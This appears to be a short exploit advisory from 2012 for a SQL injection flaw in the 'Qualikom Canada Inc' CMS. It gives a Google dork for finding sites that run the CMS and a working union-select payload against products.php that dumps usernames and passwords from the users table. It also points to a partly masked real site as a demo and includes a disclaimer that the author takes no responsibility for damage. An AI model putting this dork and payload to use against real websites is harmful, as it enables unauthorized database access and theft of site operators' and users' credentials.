############# # Exploit Title: Qualikom Canada Inc cms Sql Injection Vulnerability # # Google Dork:intext:"Powered by Qualikom Canada Inc." # # Date: 08/24/2012 # # Author: Crim3R # # Vendor Home http://www.qualikom.com/ # # Tested on: all # ############# $ $----Author will be not responsible for any damage---- $ ################################################################################### ======================================== http://www.target.com/products.php?id=-[id]' +union+select+1,2,concat(uname,0x3a,upass),4,5+from+users-- D3M0 : http://www.wooXXXXXXXXXXXXXeparty.com/products.php?id=144 ===============Crim3R@Att.Net=========== $home = %00 thanks to : 2MzRp - Mikili - 0x0ptim0us - iC0d3R - farbodmahini & Amir